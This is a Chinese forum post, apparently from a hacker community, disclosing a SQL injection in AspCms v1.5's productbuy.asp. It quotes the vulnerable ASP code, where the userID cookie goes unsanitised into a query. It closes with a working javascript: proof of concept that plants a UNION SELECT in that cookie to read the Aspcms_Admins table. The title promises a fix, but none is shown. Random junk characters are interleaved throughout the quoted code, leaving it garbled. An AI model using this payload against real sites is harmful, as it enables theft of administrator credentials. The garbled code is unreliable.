AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
/ v) ?9 O  a( l废话不多说，看代码：
7 s, F5 {/ q* q* g6 H6 r7 z# V
<%

if action = "buy" then
- ?! s& H- E; i. E( b, k  G
+ @8 f1 C3 F4 b. u: P, D        addOrder()
) S7 e* R. Q( B. k- f2 Z
2 l- R( t: u: ~  t$ Z. qelse
+ \) v6 ^) E% w* T- C+ ?: l
        echoContent()
5 [. h( I! X1 w6 b7 [
8 U" h6 R/ h) n" uend if
7 ^) B0 b, t* _1 Q/ d6 P


+ ]% K1 e( E# {: i……略过



Sub echoContent()

        dim id
- j1 M* h. y2 ^; B& _, p( h+ c
: T  \' r4 G/ {        id=getForm("id","get")

0 w4 @# U! M2 \& j$ v' b        
; }) c3 R1 F6 d* m- E, v, s# i
9 C1 D1 [3 k" `9 L" [. F: e        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

7 S3 y  g) n. x6 g# P        
1 ~! I. L7 z7 v2 B+ o( W0 A4 n
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

' c- S/ Q3 @& b" \7 @        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
4 w  k! u& p) Z8 ]( d; n
        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

9 `1 n5 Y/ [  m

        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
9 u1 q  [9 q2 z+ e: F& t+ k
+ k4 f5 Z+ f* R. s& p- {. K        selectproduct=rsObj(0)

        

$ o- @# ]* p" t2 ^* ~. T& V& b        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  

0 ]* i* Y# n1 t- C& S/ ?9 E* v( J+ C                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

9 M6 W! e2 D/ E) Z                linkman=rsObj("truename")

                gender=rsObj("gender")

                phone=rsObj("phone")
% C' N( L) d+ f9 ~- C
" P+ N. A/ v' \9 _- L' X                mobile=rsObj("mobile")

                email=rsObj("email")

                qq=rsObj("qq")

                address=rsObj("address")

                postcode=rsObj("postcode")
" O' _, ~/ a% ]6 X+ |
        else
' X. I# R- c3 ?' m7 \/ j8 [
                gender=1
: r. T) N, e0 X4 w6 t3 ]  K
        end if

+ k' D9 e6 B8 V- g) T        rsObj.close()
) c/ @, I2 b+ @, r
               
. Y1 f# h% K. t0 {8 R6 r
        with templateObj
2 l' d5 |/ E' R0 y# T7 h
                .content=loadFile(templatePath)        

6 \+ n  v( A, e. S7 D                .parseHtml()
& }% }' S9 {  Q
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

6 F" O4 q& t# i- q; ~* v" |                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               
; p: I( r, @4 z" I
" z, ~; ~# ~; \                .content=replaceStr(.content,"[aspcms:phone]",phone)               
' p! L# h( y, W9 M
$ e$ [* A+ J/ ^, z; p2 ?                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
5 O( v4 g) D* p
, k4 j& r7 r& s+ O                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
4 O# @" _9 m# g. K+ m; {' Q7 v
                .content=replaceStr(.content,"[aspcms:address]",address)                        
; @* K0 B% E+ T% A' {
' d8 ]2 q; Y  @+ l4 J                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
. L& d. Y: s( g5 h" d- L7 g7 u
                .parseCommon()                 

                echo .content
1 c9 `$ e: I) j% t! P9 T5 S
) G3 k( ?. P9 C: z  B8 `: C) A, T        end with
/ x; F9 H. ]1 b0 B7 _
        set templateobj =nothing : terminateAllObjects
- ~  e( C* R+ t! e( k7 Q6 ]: \
; H: u6 o6 k, BEnd Sub
6 x- B3 j4 g8 s1 \6 Y漏洞很明显，没啥好说的
  y4 O% J& U6 w) u7 q) l! ?poc：
3 c$ m$ n( @  d- H
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
" m5 P! n6 M. p5 m# _: W